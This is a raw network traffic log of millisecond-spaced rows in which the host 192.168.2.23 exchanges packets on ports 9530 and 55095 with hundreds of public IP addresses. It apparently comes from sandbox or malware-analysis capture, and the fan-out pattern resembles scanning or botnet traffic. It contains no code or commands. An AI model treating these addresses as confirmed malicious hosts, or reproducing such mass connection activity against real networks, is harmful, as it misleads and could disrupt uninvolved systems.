May 16, 2024 16:38:51.993650913 CEST	9530	55095	183.138.238.119	192.168.2.23
May 16, 2024 16:38:51.993654966 CEST	55095	9530	192.168.2.23	43.163.40.229
May 16, 2024 16:38:51.993657112 CEST	55095	9530	192.168.2.23	209.132.223.202
May 16, 2024 16:38:51.993660927 CEST	9530	55095	43.177.118.94	192.168.2.23
May 16, 2024 16:38:51.993662119 CEST	55095	9530	192.168.2.23	175.93.194.56
May 16, 2024 16:38:51.993669987 CEST	9530	55095	179.179.2.195	192.168.2.23
May 16, 2024 16:38:51.993673086 CEST	55095	9530	192.168.2.23	183.138.238.119
May 16, 2024 16:38:51.993674994 CEST	55095	9530	192.168.2.23	79.199.180.155
May 16, 2024 16:38:51.993683100 CEST	9530	55095	4.158.222.132	192.168.2.23
May 16, 2024 16:38:51.993686914 CEST	55095	9530	192.168.2.23	43.177.118.94
May 16, 2024 16:38:51.993694067 CEST	9530	55095	176.181.54.112	192.168.2.23
May 16, 2024 16:38:51.993697882 CEST	55095	9530	192.168.2.23	179.179.2.195
May 16, 2024 16:38:51.993705988 CEST	9530	55095	106.91.161.162	192.168.2.23
May 16, 2024 16:38:51.993716002 CEST	55095	9530	192.168.2.23	4.158.222.132
May 16, 2024 16:38:51.993719101 CEST	9530	55095	121.118.43.227	192.168.2.23
May 16, 2024 16:38:51.993721008 CEST	55095	9530	192.168.2.23	176.181.54.112
May 16, 2024 16:38:51.993730068 CEST	9530	55095	105.206.87.86	192.168.2.23
May 16, 2024 16:38:51.993740082 CEST	9530	55095	83.84.37.215	192.168.2.23
May 16, 2024 16:38:51.993743896 CEST	9530	55095	86.197.232.168	192.168.2.23
May 16, 2024 16:38:51.993747950 CEST	9530	55095	108.211.180.98	192.168.2.23
May 16, 2024 16:38:51.993757010 CEST	9530	55095	201.97.181.18	192.168.2.23
May 16, 2024 16:38:51.993767977 CEST	9530	55095	171.77.92.178	192.168.2.23
May 16, 2024 16:38:51.993771076 CEST	55095	9530	192.168.2.23	105.206.87.86
May 16, 2024 16:38:51.993777037 CEST	55095	9530	192.168.2.23	121.118.43.227
May 16, 2024 16:38:51.993777037 CEST	55095	9530	192.168.2.23	108.211.180.98
May 16, 2024 16:38:51.993778944 CEST	9530	55095	180.109.139.207	192.168.2.23
May 16, 2024 16:38:51.993778944 CEST	55095	9530	192.168.2.23	86.197.232.168
May 16, 2024 16:38:51.993779898 CEST	55095	9530	192.168.2.23	106.91.161.162
May 16, 2024 16:38:51.993779898 CEST	55095	9530	192.168.2.23	83.84.37.215
May 16, 2024 16:38:51.993788958 CEST	55095	9530	192.168.2.23	201.97.181.18
May 16, 2024 16:38:51.993788958 CEST	9530	55095	90.23.15.99	192.168.2.23
May 16, 2024 16:38:51.993798971 CEST	9530	55095	25.247.78.63	192.168.2.23
May 16, 2024 16:38:51.993805885 CEST	55095	9530	192.168.2.23	171.77.92.178
May 16, 2024 16:38:51.993805885 CEST	55095	9530	192.168.2.23	180.109.139.207
May 16, 2024 16:38:51.993808031 CEST	9530	55095	39.76.187.64	192.168.2.23
May 16, 2024 16:38:51.993818045 CEST	9530	55095	76.192.182.157	192.168.2.23
May 16, 2024 16:38:51.993825912 CEST	55095	9530	192.168.2.23	25.247.78.63
May 16, 2024 16:38:51.993828058 CEST	9530	55095	128.131.202.234	192.168.2.23
May 16, 2024 16:38:51.993833065 CEST	55095	9530	192.168.2.23	90.23.15.99
May 16, 2024 16:38:51.993838072 CEST	9530	55095	183.168.24.203	192.168.2.23
May 16, 2024 16:38:51.993844032 CEST	55095	9530	192.168.2.23	39.76.187.64
May 16, 2024 16:38:51.993849039 CEST	9530	55095	203.231.118.197	192.168.2.23
May 16, 2024 16:38:51.993854046 CEST	55095	9530	192.168.2.23	76.192.182.157
May 16, 2024 16:38:51.993858099 CEST	9530	55095	161.38.162.173	192.168.2.23
May 16, 2024 16:38:51.993860960 CEST	55095	9530	192.168.2.23	128.131.202.234
May 16, 2024 16:38:51.993865967 CEST	55095	9530	192.168.2.23	183.168.24.203
May 16, 2024 16:38:51.993869066 CEST	9530	55095	186.224.66.192	192.168.2.23
May 16, 2024 16:38:51.993877888 CEST	9530	55095	120.138.99.216	192.168.2.23
May 16, 2024 16:38:51.993881941 CEST	55095	9530	192.168.2.23	203.231.118.197
May 16, 2024 16:38:51.993886948 CEST	9530	55095	159.134.152.184	192.168.2.23
May 16, 2024 16:38:51.993897915 CEST	9530	55095	43.48.198.214	192.168.2.23
May 16, 2024 16:38:51.993897915 CEST	55095	9530	192.168.2.23	161.38.162.173
May 16, 2024 16:38:51.993901968 CEST	55095	9530	192.168.2.23	120.138.99.216
May 16, 2024 16:38:51.993911982 CEST	55095	9530	192.168.2.23	159.134.152.184
May 16, 2024 16:38:51.993916988 CEST	9530	55095	60.114.169.144	192.168.2.23
May 16, 2024 16:38:51.993927002 CEST	9530	55095	201.231.222.154	192.168.2.23
May 16, 2024 16:38:51.993935108 CEST	9530	55095	202.83.106.207	192.168.2.23
May 16, 2024 16:38:51.993935108 CEST	55095	9530	192.168.2.23	186.224.66.192
May 16, 2024 16:38:51.993937969 CEST	55095	9530	192.168.2.23	43.48.198.214
May 16, 2024 16:38:51.993942976 CEST	9530	55095	59.40.231.134	192.168.2.23
May 16, 2024 16:38:51.993952036 CEST	55095	9530	192.168.2.23	201.231.222.154
May 16, 2024 16:38:51.993952990 CEST	9530	55095	168.88.107.228	192.168.2.23
May 16, 2024 16:38:51.993962049 CEST	55095	9530	192.168.2.23	202.83.106.207
May 16, 2024 16:38:51.993962049 CEST	9530	55095	209.49.57.39	192.168.2.23
May 16, 2024 16:38:51.993971109 CEST	9530	55095	48.94.225.134	192.168.2.23
May 16, 2024 16:38:51.993973017 CEST	55095	9530	192.168.2.23	60.114.169.144
May 16, 2024 16:38:51.993980885 CEST	9530	55095	9.71.146.116	192.168.2.23
May 16, 2024 16:38:51.993989944 CEST	9530	55095	179.176.211.68	192.168.2.23
May 16, 2024 16:38:51.993992090 CEST	55095	9530	192.168.2.23	59.40.231.134
May 16, 2024 16:38:51.993992090 CEST	55095	9530	192.168.2.23	168.88.107.228
May 16, 2024 16:38:51.993999958 CEST	9530	55095	46.54.69.17	192.168.2.23
May 16, 2024 16:38:51.993999958 CEST	55095	9530	192.168.2.23	209.49.57.39
May 16, 2024 16:38:51.994007111 CEST	55095	9530	192.168.2.23	9.71.146.116
May 16, 2024 16:38:51.994009972 CEST	9530	55095	121.29.14.202	192.168.2.23
May 16, 2024 16:38:51.994024038 CEST	55095	9530	192.168.2.23	48.94.225.134
May 16, 2024 16:38:51.994051933 CEST	55095	9530	192.168.2.23	46.54.69.17
May 16, 2024 16:38:51.994051933 CEST	55095	9530	192.168.2.23	121.29.14.202
May 16, 2024 16:38:51.994056940 CEST	55095	9530	192.168.2.23	179.176.211.68
May 16, 2024 16:38:51.994450092 CEST	9530	55095	60.97.124.161	192.168.2.23
May 16, 2024 16:38:51.994462013 CEST	9530	55095	71.39.71.32	192.168.2.23
May 16, 2024 16:38:51.994471073 CEST	9530	55095	163.74.109.34	192.168.2.23
May 16, 2024 16:38:51.994479895 CEST	9530	55095	93.159.173.230	192.168.2.23
May 16, 2024 16:38:51.994481087 CEST	55095	9530	192.168.2.23	60.97.124.161
May 16, 2024 16:38:51.994488955 CEST	9530	55095	125.219.41.134	192.168.2.23
May 16, 2024 16:38:51.994501114 CEST	55095	9530	192.168.2.23	71.39.71.32
May 16, 2024 16:38:51.994501114 CEST	55095	9530	192.168.2.23	163.74.109.34
May 16, 2024 16:38:51.994504929 CEST	55095	9530	192.168.2.23	93.159.173.230
May 16, 2024 16:38:51.994508982 CEST	9530	55095	165.16.40.57	192.168.2.23
May 16, 2024 16:38:51.994518995 CEST	9530	55095	71.188.241.84	192.168.2.23
May 16, 2024 16:38:51.994524002 CEST	55095	9530	192.168.2.23	125.219.41.134
May 16, 2024 16:38:51.994527102 CEST	9530	55095	210.64.27.10	192.168.2.23
May 16, 2024 16:38:51.994538069 CEST	9530	55095	221.166.128.128	192.168.2.23
May 16, 2024 16:38:51.994544029 CEST	55095	9530	192.168.2.23	71.188.241.84
May 16, 2024 16:38:51.994545937 CEST	9530	55095	191.59.179.151	192.168.2.23
May 16, 2024 16:38:51.994555950 CEST	9530	55095	150.110.100.187	192.168.2.23
May 16, 2024 16:38:51.994561911 CEST	55095	9530	192.168.2.23	221.166.128.128
May 16, 2024 16:38:51.994564056 CEST	9530	55095	158.237.255.187	192.168.2.23
May 16, 2024 16:38:51.994565964 CEST	55095	9530	192.168.2.23	165.16.40.57
May 16, 2024 16:38:51.994570971 CEST	55095	9530	192.168.2.23	191.59.179.151
May 16, 2024 16:38:51.994576931 CEST	9530	55095	103.225.146.12	192.168.2.23
May 16, 2024 16:38:51.994577885 CEST	55095	9530	192.168.2.23	210.64.27.10
May 16, 2024 16:38:51.994581938 CEST	9530	55095	100.152.21.89	192.168.2.23
May 16, 2024 16:38:51.994581938 CEST	55095	9530	192.168.2.23	150.110.100.187
May 16, 2024 16:38:51.994591951 CEST	9530	55095	63.151.30.140	192.168.2.23
May 16, 2024 16:38:51.994601965 CEST	9530	55095	212.237.51.86	192.168.2.23
May 16, 2024 16:38:51.994602919 CEST	55095	9530	192.168.2.23	103.225.146.12
May 16, 2024 16:38:51.994616032 CEST	9530	55095	48.172.180.173	192.168.2.23
May 16, 2024 16:38:51.994621038 CEST	55095	9530	192.168.2.23	158.237.255.187
May 16, 2024 16:38:51.994621038 CEST	55095	9530	192.168.2.23	63.151.30.140
May 16, 2024 16:38:51.994625092 CEST	9530	55095	107.13.69.161	192.168.2.23
May 16, 2024 16:38:51.994635105 CEST	9530	55095	74.124.121.237	192.168.2.23
May 16, 2024 16:38:51.994643927 CEST	9530	55095	119.202.198.104	192.168.2.23
May 16, 2024 16:38:51.994647026 CEST	55095	9530	192.168.2.23	212.237.51.86
May 16, 2024 16:38:51.994647026 CEST	55095	9530	192.168.2.23	48.172.180.173
May 16, 2024 16:38:51.994654894 CEST	9530	55095	20.96.95.191	192.168.2.23
May 16, 2024 16:38:51.994657993 CEST	55095	9530	192.168.2.23	100.152.21.89
May 16, 2024 16:38:51.994666100 CEST	9530	55095	146.99.134.120	192.168.2.23
May 16, 2024 16:38:51.994677067 CEST	9530	55095	59.251.150.210	192.168.2.23
May 16, 2024 16:38:51.994685888 CEST	55095	9530	192.168.2.23	107.13.69.161
May 16, 2024 16:38:51.994687080 CEST	55095	9530	192.168.2.23	119.202.198.104
May 16, 2024 16:38:51.994687080 CEST	55095	9530	192.168.2.23	74.124.121.237
May 16, 2024 16:38:51.994688034 CEST	9530	55095	121.135.26.146	192.168.2.23
May 16, 2024 16:38:51.994688034 CEST	55095	9530	192.168.2.23	20.96.95.191
May 16, 2024 16:38:51.994694948 CEST	55095	9530	192.168.2.23	146.99.134.120
May 16, 2024 16:38:51.994699955 CEST	9530	55095	104.183.113.114	192.168.2.23
May 16, 2024 16:38:51.994709015 CEST	55095	9530	192.168.2.23	59.251.150.210
May 16, 2024 16:38:51.994709015 CEST	9530	55095	19.109.171.68	192.168.2.23
May 16, 2024 16:38:51.994719028 CEST	9530	55095	73.247.103.58	192.168.2.23
May 16, 2024 16:38:51.994729042 CEST	9530	55095	129.173.81.181	192.168.2.23
May 16, 2024 16:38:51.994733095 CEST	55095	9530	192.168.2.23	121.135.26.146
May 16, 2024 16:38:51.994739056 CEST	55095	9530	192.168.2.23	19.109.171.68
May 16, 2024 16:38:51.994741917 CEST	9530	55095	88.199.60.223	192.168.2.23
May 16, 2024 16:38:51.994751930 CEST	9530	55095	64.92.229.72	192.168.2.23
May 16, 2024 16:38:51.994760990 CEST	9530	55095	140.129.118.58	192.168.2.23
May 16, 2024 16:38:51.994765997 CEST	55095	9530	192.168.2.23	129.173.81.181
May 16, 2024 16:38:51.994766951 CEST	55095	9530	192.168.2.23	73.247.103.58
May 16, 2024 16:38:51.994767904 CEST	55095	9530	192.168.2.23	88.199.60.223
May 16, 2024 16:38:51.994769096 CEST	55095	9530	192.168.2.23	104.183.113.114
May 16, 2024 16:38:51.994771004 CEST	9530	55095	2.55.127.47	192.168.2.23
May 16, 2024 16:38:51.994774103 CEST	55095	9530	192.168.2.23	64.92.229.72
May 16, 2024 16:38:51.994784117 CEST	9530	55095	133.28.210.81	192.168.2.23
May 16, 2024 16:38:51.994791985 CEST	55095	9530	192.168.2.23	140.129.118.58
May 16, 2024 16:38:51.994793892 CEST	9530	55095	204.118.190.99	192.168.2.23
May 16, 2024 16:38:51.994801998 CEST	9530	55095	119.76.238.57	192.168.2.23
May 16, 2024 16:38:51.994811058 CEST	9530	55095	139.216.242.175	192.168.2.23
May 16, 2024 16:38:51.994820118 CEST	9530	55095	46.229.213.67	192.168.2.23
May 16, 2024 16:38:51.994828939 CEST	9530	55095	207.123.14.86	192.168.2.23
May 16, 2024 16:38:51.994829893 CEST	55095	9530	192.168.2.23	204.118.190.99
May 16, 2024 16:38:51.994829893 CEST	55095	9530	192.168.2.23	119.76.238.57
May 16, 2024 16:38:51.994833946 CEST	55095	9530	192.168.2.23	2.55.127.47
May 16, 2024 16:38:51.994841099 CEST	9530	55095	205.127.46.65	192.168.2.23
May 16, 2024 16:38:51.994849920 CEST	9530	55095	72.134.124.123	192.168.2.23
May 16, 2024 16:38:51.994849920 CEST	55095	9530	192.168.2.23	46.229.213.67
May 16, 2024 16:38:51.994853020 CEST	55095	9530	192.168.2.23	133.28.210.81
May 16, 2024 16:38:51.994853020 CEST	55095	9530	192.168.2.23	139.216.242.175
May 16, 2024 16:38:51.994860888 CEST	9530	55095	161.163.149.188	192.168.2.23
May 16, 2024 16:38:51.994868994 CEST	55095	9530	192.168.2.23	205.127.46.65
May 16, 2024 16:38:51.994868994 CEST	55095	9530	192.168.2.23	207.123.14.86
May 16, 2024 16:38:51.994888067 CEST	55095	9530	192.168.2.23	161.163.149.188
May 16, 2024 16:38:51.994889975 CEST	55095	9530	192.168.2.23	72.134.124.123
May 16, 2024 16:38:51.995280027 CEST	9530	55095	85.23.34.150	192.168.2.23
May 16, 2024 16:38:51.995290995 CEST	9530	55095	95.126.171.96	192.168.2.23
May 16, 2024 16:38:51.995300055 CEST	9530	55095	71.162.129.92	192.168.2.23
May 16, 2024 16:38:51.995304108 CEST	9530	55095	125.13.49.97	192.168.2.23
May 16, 2024 16:38:51.995307922 CEST	9530	55095	20.110.197.95	192.168.2.23
May 16, 2024 16:38:51.995317936 CEST	55095	9530	192.168.2.23	85.23.34.150
May 16, 2024 16:38:51.995320082 CEST	9530	55095	83.107.72.145	192.168.2.23
May 16, 2024 16:38:51.995328903 CEST	55095	9530	192.168.2.23	125.13.49.97
May 16, 2024 16:38:51.995330095 CEST	9530	55095	31.255.28.69	192.168.2.23
May 16, 2024 16:38:51.995340109 CEST	9530	55095	133.34.43.138	192.168.2.23
May 16, 2024 16:38:51.995346069 CEST	55095	9530	192.168.2.23	95.126.171.96
May 16, 2024 16:38:51.995347023 CEST	55095	9530	192.168.2.23	71.162.129.92
May 16, 2024 16:38:51.995346069 CEST	55095	9530	192.168.2.23	20.110.197.95
May 16, 2024 16:38:51.995346069 CEST	55095	9530	192.168.2.23	83.107.72.145
May 16, 2024 16:38:51.995348930 CEST	9530	55095	66.214.247.106	192.168.2.23
May 16, 2024 16:38:51.995359898 CEST	9530	55095	111.154.195.174	192.168.2.23
May 16, 2024 16:38:51.995369911 CEST	9530	55095	97.236.51.163	192.168.2.23
May 16, 2024 16:38:51.995373011 CEST	55095	9530	192.168.2.23	31.255.28.69
May 16, 2024 16:38:51.995378971 CEST	55095	9530	192.168.2.23	133.34.43.138
May 16, 2024 16:38:51.995378971 CEST	9530	55095	210.23.155.189	192.168.2.23
May 16, 2024 16:38:51.995389938 CEST	55095	9530	192.168.2.23	111.154.195.174
May 16, 2024 16:38:51.995390892 CEST	9530	55095	202.71.106.204	192.168.2.23
May 16, 2024 16:38:51.995399952 CEST	9530	55095	203.21.37.85	192.168.2.23
May 16, 2024 16:38:51.995405912 CEST	55095	9530	192.168.2.23	66.214.247.106
May 16, 2024 16:38:51.995405912 CEST	55095	9530	192.168.2.23	97.236.51.163
May 16, 2024 16:38:51.995409966 CEST	9530	55095	149.121.166.203	192.168.2.23
May 16, 2024 16:38:51.995419025 CEST	9530	55095	162.92.193.251	192.168.2.23
May 16, 2024 16:38:51.995419025 CEST	55095	9530	192.168.2.23	202.71.106.204
May 16, 2024 16:38:51.995423079 CEST	55095	9530	192.168.2.23	210.23.155.189
May 16, 2024 16:38:51.995429993 CEST	9530	55095	175.22.149.199	192.168.2.23
May 16, 2024 16:38:51.995440006 CEST	55095	9530	192.168.2.23	203.21.37.85
May 16, 2024 16:38:51.995441914 CEST	55095	9530	192.168.2.23	149.121.166.203
May 16, 2024 16:38:51.995443106 CEST	9530	55095	71.205.218.121	192.168.2.23
May 16, 2024 16:38:51.995450020 CEST	9530	55095	80.234.127.32	192.168.2.23
May 16, 2024 16:38:51.995454073 CEST	55095	9530	192.168.2.23	162.92.193.251
May 16, 2024 16:38:51.995457888 CEST	9530	55095	14.175.254.116	192.168.2.23
May 16, 2024 16:38:51.995471954 CEST	55095	9530	192.168.2.23	175.22.149.199
May 16, 2024 16:38:51.995476007 CEST	55095	9530	192.168.2.23	71.205.218.121
May 16, 2024 16:38:51.995476007 CEST	55095	9530	192.168.2.23	80.234.127.32
May 16, 2024 16:38:51.995495081 CEST	55095	9530	192.168.2.23	14.175.254.116
May 16, 2024 16:38:51.995635986 CEST	9530	55095	23.5.30.33	192.168.2.23
May 16, 2024 16:38:51.995647907 CEST	9530	55095	152.156.122.50	192.168.2.23
May 16, 2024 16:38:51.995656967 CEST	9530	55095	119.237.1.4	192.168.2.23
May 16, 2024 16:38:51.995665073 CEST	9530	55095	201.37.30.188	192.168.2.23
May 16, 2024 16:38:51.995675087 CEST	9530	55095	85.95.102.6	192.168.2.23
May 16, 2024 16:38:51.995675087 CEST	55095	9530	192.168.2.23	23.5.30.33
May 16, 2024 16:38:51.995683908 CEST	9530	55095	96.237.173.169	192.168.2.23
May 16, 2024 16:38:51.995692968 CEST	9530	55095	176.152.79.233	192.168.2.23
May 16, 2024 16:38:51.995697021 CEST	9530	55095	89.76.136.91	192.168.2.23
May 16, 2024 16:38:51.995697975 CEST	55095	9530	192.168.2.23	152.156.122.50
May 16, 2024 16:38:51.995697975 CEST	55095	9530	192.168.2.23	85.95.102.6
May 16, 2024 16:38:51.995698929 CEST	55095	9530	192.168.2.23	119.237.1.4
May 16, 2024 16:38:51.995701075 CEST	55095	9530	192.168.2.23	201.37.30.188
May 16, 2024 16:38:51.995708942 CEST	9530	55095	133.98.30.130	192.168.2.23
May 16, 2024 16:38:51.995719910 CEST	9530	55095	98.244.125.51	192.168.2.23
May 16, 2024 16:38:51.995723963 CEST	55095	9530	192.168.2.23	89.76.136.91
May 16, 2024 16:38:51.995728016 CEST	55095	9530	192.168.2.23	96.237.173.169
May 16, 2024 16:38:51.995731115 CEST	55095	9530	192.168.2.23	176.152.79.233
May 16, 2024 16:38:51.995731115 CEST	9530	55095	69.165.17.104	192.168.2.23
May 16, 2024 16:38:51.995732069 CEST	55095	9530	192.168.2.23	133.98.30.130
May 16, 2024 16:38:51.995744944 CEST	9530	55095	75.199.106.116	192.168.2.23
May 16, 2024 16:38:51.995753050 CEST	55095	9530	192.168.2.23	98.244.125.51
May 16, 2024 16:38:51.995755911 CEST	9530	55095	158.28.4.106	192.168.2.23
May 16, 2024 16:38:51.995764017 CEST	55095	9530	192.168.2.23	69.165.17.104
May 16, 2024 16:38:51.995769978 CEST	9530	55095	40.52.53.177	192.168.2.23
May 16, 2024 16:38:51.995779991 CEST	9530	55095	196.30.251.214	192.168.2.23
May 16, 2024 16:38:51.995789051 CEST	9530	55095	77.156.218.56	192.168.2.23
May 16, 2024 16:38:51.995793104 CEST	9530	55095	192.161.45.113	192.168.2.23
May 16, 2024 16:38:51.995793104 CEST	55095	9530	192.168.2.23	158.28.4.106
May 16, 2024 16:38:51.995795965 CEST	55095	9530	192.168.2.23	75.199.106.116
May 16, 2024 16:38:51.995796919 CEST	9530	55095	197.60.11.231	192.168.2.23
May 16, 2024 16:38:51.995804071 CEST	55095	9530	192.168.2.23	40.52.53.177
May 16, 2024 16:38:51.995809078 CEST	9530	55095	181.110.186.213	192.168.2.23
May 16, 2024 16:38:51.995819092 CEST	9530	55095	166.111.104.185	192.168.2.23
May 16, 2024 16:38:51.995825052 CEST	55095	9530	192.168.2.23	196.30.251.214
May 16, 2024 16:38:51.995826960 CEST	9530	55095	175.161.232.83	192.168.2.23
May 16, 2024 16:38:51.995832920 CEST	9530	55095	107.194.178.109	192.168.2.23
May 16, 2024 16:38:51.995832920 CEST	55095	9530	192.168.2.23	192.161.45.113
May 16, 2024 16:38:51.995836020 CEST	55095	9530	192.168.2.23	77.156.218.56
May 16, 2024 16:38:51.995836020 CEST	55095	9530	192.168.2.23	197.60.11.231
May 16, 2024 16:38:51.995836973 CEST	9530	55095	216.8.147.249	192.168.2.23
May 16, 2024 16:38:51.995843887 CEST	55095	9530	192.168.2.23	181.110.186.213
May 16, 2024 16:38:51.995848894 CEST	9530	55095	211.176.223.7	192.168.2.23
May 16, 2024 16:38:51.995861053 CEST	9530	55095	164.146.51.6	192.168.2.23
May 16, 2024 16:38:51.995862007 CEST	55095	9530	192.168.2.23	166.111.104.185
May 16, 2024 16:38:51.995862007 CEST	55095	9530	192.168.2.23	175.161.232.83
May 16, 2024 16:38:51.995862007 CEST	55095	9530	192.168.2.23	107.194.178.109
May 16, 2024 16:38:51.995871067 CEST	9530	55095	142.7.253.220	192.168.2.23
May 16, 2024 16:38:51.995873928 CEST	55095	9530	192.168.2.23	216.8.147.249
May 16, 2024 16:38:51.995878935 CEST	55095	9530	192.168.2.23	211.176.223.7
May 16, 2024 16:38:51.995882034 CEST	9530	55095	12.9.155.72	192.168.2.23
May 16, 2024 16:38:51.995893955 CEST	9530	55095	38.252.102.203	192.168.2.23
May 16, 2024 16:38:51.995902061 CEST	55095	9530	192.168.2.23	142.7.253.220
May 16, 2024 16:38:51.995903969 CEST	9530	55095	109.33.220.78	192.168.2.23
May 16, 2024 16:38:51.995904922 CEST	55095	9530	192.168.2.23	164.146.51.6
May 16, 2024 16:38:51.995913029 CEST	9530	55095	173.206.29.111	192.168.2.23
May 16, 2024 16:38:51.995919943 CEST	55095	9530	192.168.2.23	12.9.155.72
May 16, 2024 16:38:51.995923042 CEST	9530	55095	8.93.229.42	192.168.2.23
May 16, 2024 16:38:51.995930910 CEST	9530	55095	89.216.119.77	192.168.2.23
May 16, 2024 16:38:51.995942116 CEST	9530	55095	191.223.28.198	192.168.2.23
May 16, 2024 16:38:51.995945930 CEST	55095	9530	192.168.2.23	173.206.29.111
May 16, 2024 16:38:51.995946884 CEST	55095	9530	192.168.2.23	38.252.102.203
May 16, 2024 16:38:51.995946884 CEST	55095	9530	192.168.2.23	109.33.220.78
May 16, 2024 16:38:51.995949984 CEST	9530	55095	191.114.231.197	192.168.2.23
May 16, 2024 16:38:51.995959997 CEST	9530	55095	1.171.76.226	192.168.2.23
May 16, 2024 16:38:51.995960951 CEST	55095	9530	192.168.2.23	8.93.229.42
May 16, 2024 16:38:51.995966911 CEST	55095	9530	192.168.2.23	89.216.119.77
May 16, 2024 16:38:51.995969057 CEST	9530	55095	205.169.61.213	192.168.2.23
May 16, 2024 16:38:51.995974064 CEST	55095	9530	192.168.2.23	191.114.231.197
May 16, 2024 16:38:51.995979071 CEST	9530	55095	117.66.30.211	192.168.2.23
May 16, 2024 16:38:51.995986938 CEST	9530	55095	73.254.20.132	192.168.2.23
May 16, 2024 16:38:51.995990038 CEST	55095	9530	192.168.2.23	191.223.28.198
May 16, 2024 16:38:51.995995998 CEST	9530	55095	221.163.238.253	192.168.2.23
May 16, 2024 16:38:51.996005058 CEST	9530	55095	37.61.136.77	192.168.2.23
May 16, 2024 16:38:51.996007919 CEST	55095	9530	192.168.2.23	1.171.76.226
May 16, 2024 16:38:51.996012926 CEST	9530	55095	156.172.78.176	192.168.2.23
May 16, 2024 16:38:51.996016979 CEST	55095	9530	192.168.2.23	117.66.30.211
May 16, 2024 16:38:51.996017933 CEST	55095	9530	192.168.2.23	205.169.61.213
May 16, 2024 16:38:51.996026039 CEST	9530	55095	114.0.240.143	192.168.2.23
May 16, 2024 16:38:51.996028900 CEST	55095	9530	192.168.2.23	73.254.20.132
May 16, 2024 16:38:51.996037960 CEST	55095	9530	192.168.2.23	37.61.136.77
May 16, 2024 16:38:51.996040106 CEST	9530	55095	109.145.136.89	192.168.2.23
May 16, 2024 16:38:51.996049881 CEST	9530	55095	201.87.2.144	192.168.2.23
May 16, 2024 16:38:51.996057987 CEST	9530	55095	212.59.130.42	192.168.2.23
May 16, 2024 16:38:51.996063948 CEST	55095	9530	192.168.2.23	156.172.78.176
May 16, 2024 16:38:51.996067047 CEST	9530	55095	180.157.149.97	192.168.2.23
May 16, 2024 16:38:51.996077061 CEST	9530	55095	190.45.215.66	192.168.2.23
May 16, 2024 16:38:51.996079922 CEST	55095	9530	192.168.2.23	201.87.2.144
May 16, 2024 16:38:51.996079922 CEST	55095	9530	192.168.2.23	221.163.238.253
May 16, 2024 16:38:51.996079922 CEST	55095	9530	192.168.2.23	114.0.240.143
May 16, 2024 16:38:51.996079922 CEST	55095	9530	192.168.2.23	109.145.136.89
May 16, 2024 16:38:51.996088028 CEST	9530	55095	69.36.1.204	192.168.2.23
May 16, 2024 16:38:51.996088982 CEST	55095	9530	192.168.2.23	180.157.149.97
May 16, 2024 16:38:51.996092081 CEST	55095	9530	192.168.2.23	212.59.130.42
May 16, 2024 16:38:51.996104002 CEST	9530	55095	34.210.13.48	192.168.2.23
May 16, 2024 16:38:51.996110916 CEST	55095	9530	192.168.2.23	190.45.215.66
May 16, 2024 16:38:51.996114016 CEST	9530	55095	185.216.113.223	192.168.2.23
May 16, 2024 16:38:51.996114969 CEST	55095	9530	192.168.2.23	69.36.1.204
May 16, 2024 16:38:51.996123075 CEST	9530	55095	213.2.255.158	192.168.2.23
May 16, 2024 16:38:51.996133089 CEST	9530	55095	39.97.144.20	192.168.2.23
May 16, 2024 16:38:51.996140003 CEST	55095	9530	192.168.2.23	34.210.13.48
May 16, 2024 16:38:51.996143103 CEST	9530	55095	150.93.38.190	192.168.2.23
May 16, 2024 16:38:51.996148109 CEST	55095	9530	192.168.2.23	185.216.113.223
May 16, 2024 16:38:51.996153116 CEST	9530	55095	132.206.139.60	192.168.2.23
May 16, 2024 16:38:51.996161938 CEST	9530	55095	176.178.191.36	192.168.2.23
May 16, 2024 16:38:51.996172905 CEST	9530	55095	1.42.163.109	192.168.2.23
May 16, 2024 16:38:51.996181011 CEST	9530	55095	218.228.97.15	192.168.2.23
May 16, 2024 16:38:51.996191025 CEST	9530	55095	34.159.31.90	192.168.2.23
May 16, 2024 16:38:51.996193886 CEST	55095	9530	192.168.2.23	213.2.255.158
May 16, 2024 16:38:51.996193886 CEST	55095	9530	192.168.2.23	39.97.144.20
May 16, 2024 16:38:51.996200085 CEST	9530	55095	195.67.129.148	192.168.2.23
May 16, 2024 16:38:51.996201038 CEST	55095	9530	192.168.2.23	150.93.38.190
May 16, 2024 16:38:51.996201038 CEST	55095	9530	192.168.2.23	132.206.139.60
May 16, 2024 16:38:51.996201038 CEST	55095	9530	192.168.2.23	176.178.191.36
May 16, 2024 16:38:51.996212006 CEST	9530	55095	58.196.104.120	192.168.2.23
May 16, 2024 16:38:51.996217966 CEST	55095	9530	192.168.2.23	1.42.163.109
May 16, 2024 16:38:51.996218920 CEST	55095	9530	192.168.2.23	218.228.97.15
May 16, 2024 16:38:51.996222973 CEST	9530	55095	86.38.65.29	192.168.2.23
May 16, 2024 16:38:51.996234894 CEST	55095	9530	192.168.2.23	34.159.31.90
May 16, 2024 16:38:51.996247053 CEST	55095	9530	192.168.2.23	58.196.104.120
May 16, 2024 16:38:51.996263981 CEST	55095	9530	192.168.2.23	195.67.129.148
May 16, 2024 16:38:51.996263981 CEST	55095	9530	192.168.2.23	86.38.65.29
May 16, 2024 16:38:51.996629953 CEST	9530	55095	192.205.59.40	192.168.2.23
May 16, 2024 16:38:51.996643066 CEST	9530	55095	150.34.15.127	192.168.2.23
May 16, 2024 16:38:51.996653080 CEST	9530	55095	211.111.45.2	192.168.2.23
May 16, 2024 16:38:51.996665001 CEST	9530	55095	141.188.172.49	192.168.2.23
May 16, 2024 16:38:51.996674061 CEST	9530	55095	69.150.58.18	192.168.2.23
May 16, 2024 16:38:51.996676922 CEST	55095	9530	192.168.2.23	150.34.15.127
May 16, 2024 16:38:51.996681929 CEST	9530	55095	128.116.97.247	192.168.2.23
May 16, 2024 16:38:51.996685028 CEST	55095	9530	192.168.2.23	192.205.59.40
May 16, 2024 16:38:51.996694088 CEST	9530	55095	174.219.149.194	192.168.2.23
May 16, 2024 16:38:51.996700048 CEST	55095	9530	192.168.2.23	211.111.45.2
May 16, 2024 16:38:51.996704102 CEST	9530	55095	9.194.32.107	192.168.2.23
May 16, 2024 16:38:51.996704102 CEST	55095	9530	192.168.2.23	141.188.172.49
May 16, 2024 16:38:51.996715069 CEST	9530	55095	115.18.245.40	192.168.2.23
May 16, 2024 16:38:51.996725082 CEST	9530	55095	154.116.79.143	192.168.2.23
May 16, 2024 16:38:51.996725082 CEST	55095	9530	192.168.2.23	69.150.58.18
May 16, 2024 16:38:51.996731997 CEST	55095	9530	192.168.2.23	174.219.149.194
May 16, 2024 16:38:51.996732950 CEST	9530	55095	181.235.36.230	192.168.2.23
May 16, 2024 16:38:51.996733904 CEST	55095	9530	192.168.2.23	9.194.32.107
